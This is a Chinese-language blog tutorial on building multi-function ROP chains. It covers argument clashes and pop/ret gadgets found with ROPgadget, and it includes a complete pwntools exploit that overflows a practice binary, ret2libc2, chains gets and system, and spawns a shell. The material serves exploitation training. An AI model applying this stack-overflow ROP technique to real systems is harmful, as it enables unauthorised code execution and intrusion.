我们已经学会了编写单个和两个简单函数的ROP链,在这里我们说一下,编写ROP链多个需要注意的问题
之前我们在学习两个函数的ROP时,编写了这样的payload
我们当时没有考虑,参数冲突和栈溢出大小,现在我们来说一说
举个例子,如果我们上次学习的两个函数的ROP中没有gets函数,而是read函数我们怎么办,read函数有三个参数,如果我们要像以前一样构建payload,那么read的第二个参数,就会和system的第一个参数冲突,导致无法将system 的第一个参数放在栈上,在编写多个函数的ROP中会遇见这样的问题,如何解决呢?
我们需要用到某个地址上的代码,这种代码的基本形式为pop*n + ret
运用这些命令就能把参数弹出,有几个参数就用几个pop命令,这里可以使用ROPgadget库来查找这些命令
这样我们就可以对上一次学的’编写两个函数的ROP‘进行改变,使其变得更合理
from pwn import *
p = process("./ret2libc2")
elf = ELF("./ret2libc2")
"""
ROPgadget --binary ./ret2libc2 --only "pop|ret"
Gadgets information
============================================================
0x0804861b : pop ebp ; ret
0x08048618 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804839d : pop ebx ; ret
0x0804861a : pop edi ; pop ebp ; ret
0x08048619 : pop esi ; pop edi ; pop ebp ; ret
0x08048386 : ret
0x0804848e : ret 0xeac1
Unique gadgets found: 7
"""
system = elf.plt["system"]
gets = elf.plt["gets"]
cmd = "/bin/sh"
bss_addr = 0x0804A200
pop1_ret = 0x0804861b
p.recvuntil("ret2libc2\n")
payload = "a" * 0x108 + p32(1)
payload += p32(gets) + p32(pop1_ret) + p32(bss_addr)
payload += p32(system) + p32(pop1_ret) + p32(bss_addr)
p.sendline(payload)
p.sendline(cmd)
p.interactive()
这里看一下payload,栈溢出之后控制返回地址为gets,gets的返回地址为pop1_ret,gets的参数的bss段一个地址,在执行完gets后返回pop1_ret执行pop命令使gets的参数出栈,然后执行ret(pop eip)命令,控制EIP为system地址,system也是相同原理
标签:函数,pop,p32,ret,ROP,编写,gets,payload From: https://www.cnblogs.com/return1/p/18250896